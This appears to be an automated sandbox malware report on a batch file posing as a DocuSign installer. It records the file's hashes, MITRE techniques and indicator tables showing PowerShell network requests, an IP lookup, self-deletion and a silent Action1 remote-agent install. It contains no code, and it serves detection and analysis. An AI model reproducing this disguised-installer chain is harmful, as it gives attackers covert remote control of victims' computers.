3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0

Analysis

max time kernel
92s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Docusign_Installer.bat
Size 1KB
Sample260804-hyn3catelf
SHA256 3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0
MD5 6f6f23a8afbe467e7c715b505435d7f3
SHA1 c5aae58476103d7bd2195d5552f3566f8f567923
SHA512 1a867a9a9ad2dff48844f11b9f291f37a99d4774e9b80dc400d5c5eaab7385fee51337d84b6d7b054adc27dcc41cceba10aa266bc4d6e1a483ed299565e8e031
TLSH
T163210ED72052382E9BB3A651868513A4DF568643870822DD34FCC0026F177A143C658E
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3532	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3532	powershell.exe
4488	powershell.exe
5812	powershell.exe
3400	powershell.exe
1272	powershell.exe
2380	powershell.exe
3452	powershell.exe
5812	powershell.exe
5224	powershell.exe
3704	powershell.exe
3644	powershell.exe
4740	powershell.exe
4224	powershell.exe
2732	powershell.exe
3336	powershell.exe
2024	powershell.exe
3592	powershell.exe
3400	powershell.exe
124	powershell.exe
3588	powershell.exe
5976	powershell.exe
1260	powershell.exe
5636	powershell.exe
4620	powershell.exe
980	powershell.exe
3696	powershell.exe
4712	powershell.exe
2832	powershell.exe
4624	powershell.exe
1920	powershell.exe
2492	powershell.exe
548	powershell.exe
2368	powershell.exe
2992	powershell.exe
3000	powershell.exe
2992	powershell.exe
5356	powershell.exe
2992	powershell.exe
4740	powershell.exe
2628	powershell.exe
5532	powershell.exe
4264	powershell.exe
3532	powershell.exe
900	powershell.exe

Deletes itself 1 IoCs

pid	Process
900	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4272	action1_agent.exe
4100	action1_agent.exe
4696	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
6124	MsiExec.exe
6124	MsiExec.exe
6124	MsiExec.exe
1084	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
20	ifconfig.me
1	ifconfig.me

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSID06.tmp	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gecbzput.euw.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_a04ryq44.gt4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_rlv2jxs2.fvq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4erhb4pb.1so.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0mffmjf4.sb2.ps1	powershell.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gvejpflg.wxq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nnjpwynm.hn0.ps1	powershell.exe
File created	C:\Windows\Action1\scripts\SCSI Controllers_2027-1784023871.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wvyxhai3.54g.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hgp202cv.rzr.ps1	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RESB2A8.tmp	cvtres.exe
File opened for modification	C:\Windows\Installer\MSI91A.tmp	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-08-04_08-09-51~4272.log	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fz1ajozb.kbw.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wkcjfmr5.4uz.ps1	powershell.exe
File created	C:\Windows\Installer\e5a0575.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF829CE7F38979E644.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_yhfxk5yf.cwm.ps1	powershell.exe
File opened for modification	\??\c:\Windows\SystemTemp\00jp1z0k\00jp1z0k.dll	csc.exe
File created	C:\Windows\Installer\e5a0570.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7DF168239A0839B0.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pmfdnibs.jim.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_aes52gmj.0iu.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zagoshbt.xei.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hv5nsvsj.xrm.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ojtl2pry.uxq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\00jp1z0k\00jp1z0k.err	powershell.exe
File created	\??\c:\Windows\SystemTemp\00jp1z0k\CSC4219D174D5F04FA68F97EFDFBB1F183C.TMP	csc.exe
File created	C:\Windows\SystemTemp\~DFC8A249394DE39749.TMP	msiexec.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1wnghd0a.0bg.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hbobotyc.ea0.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Update Statistics_2039-1784023871.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fc10ecx0.nk5.psm1	powershell.exe
File created	C:\Windows\SystemTemp\00jp1z0k\00jp1z0k.tmp	powershell.exe
File created	C:\Windows\SystemTemp\00jp1z0k\00jp1z0k.dll	powershell.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_d0bscani.zfz.ps1	powershell.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_si2ylqfg.tib.ps1	powershell.exe
File created	C:\Windows\SystemTemp\00jp1z0k\00jp1z0k.out	powershell.exe
File created	C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1784023871.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3elp2eat.uwn.ps1	powershell.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tmfsemoh.yp1.ps1	powershell.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_if4p4mca.pop.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Disk Drives_2016-1784023871.ps1	action1_agent.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC59.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2836	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies registry class 21 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "pkg.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
4232	msiexec.exe
4232	msiexec.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
900	powershell.exe
900	powershell.exe
900	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
4620	powershell.exe
4620	powershell.exe
4620	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe
4264	powershell.exe
4264	powershell.exe
4264	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
5812	powershell.exe
5812	powershell.exe
5812	powershell.exe
5224	powershell.exe
5224	powershell.exe
5224	powershell.exe
4740	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeShutdownPrivilege	1948	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1948	msiexec.exe
Token: SeSecurityPrivilege	4232	msiexec.exe
Token: SeCreateTokenPrivilege	1948	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1948	msiexec.exe
Token: SeLockMemoryPrivilege	1948	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1948	msiexec.exe
Token: SeMachineAccountPrivilege	1948	msiexec.exe
Token: SeTcbPrivilege	1948	msiexec.exe
Token: SeSecurityPrivilege	1948	msiexec.exe
Token: SeTakeOwnershipPrivilege	1948	msiexec.exe
Token: SeLoadDriverPrivilege	1948	msiexec.exe
Token: SeSystemProfilePrivilege	1948	msiexec.exe
Token: SeSystemtimePrivilege	1948	msiexec.exe
Token: SeProfSingleProcessPrivilege	1948	msiexec.exe
Token: SeIncBasePriorityPrivilege	1948	msiexec.exe
Token: SeCreatePagefilePrivilege	1948	msiexec.exe
Token: SeCreatePermanentPrivilege	1948	msiexec.exe
Token: SeBackupPrivilege	1948	msiexec.exe
Token: SeRestorePrivilege	1948	msiexec.exe
Token: SeShutdownPrivilege	1948	msiexec.exe
Token: SeDebugPrivilege	1948	msiexec.exe
Token: SeAuditPrivilege	1948	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1948	msiexec.exe
Token: SeChangeNotifyPrivilege	1948	msiexec.exe
Token: SeRemoteShutdownPrivilege	1948	msiexec.exe
Token: SeUndockPrivilege	1948	msiexec.exe
Token: SeSyncAgentPrivilege	1948	msiexec.exe
Token: SeEnableDelegationPrivilege	1948	msiexec.exe
Token: SeManageVolumePrivilege	1948	msiexec.exe
Token: SeImpersonatePrivilege	1948	msiexec.exe
Token: SeCreateGlobalPrivilege	1948	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeShutdownPrivilege	1084	MsiExec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeBackupPrivilege	4272	action1_agent.exe
Token: SeBackupPrivilege	4272	action1_agent.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1948	msiexec.exe
4232	msiexec.exe
6124	MsiExec.exe
1084	MsiExec.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 6096	2836	cmd.exe	90
PID 6096 wrote to memory of 1668	6096	net.exe	91
PID 2836 wrote to memory of 4088	2836	cmd.exe	92
PID 2836 wrote to memory of 3532	2836	cmd.exe	93
PID 2836 wrote to memory of 1948	2836	cmd.exe	95
PID 4232 wrote to memory of 6124	4232	msiexec.exe	97
PID 4232 wrote to memory of 1084	4232	msiexec.exe	98
PID 4272 wrote to memory of 2628	4272	action1_agent.exe	101
PID 2836 wrote to memory of 900	2836	cmd.exe	103
PID 4272 wrote to memory of 3000	4272	action1_agent.exe	104
PID 3000 wrote to memory of 4100	3000	powershell.exe	109
PID 4272 wrote to memory of 3452	4272	action1_agent.exe	110
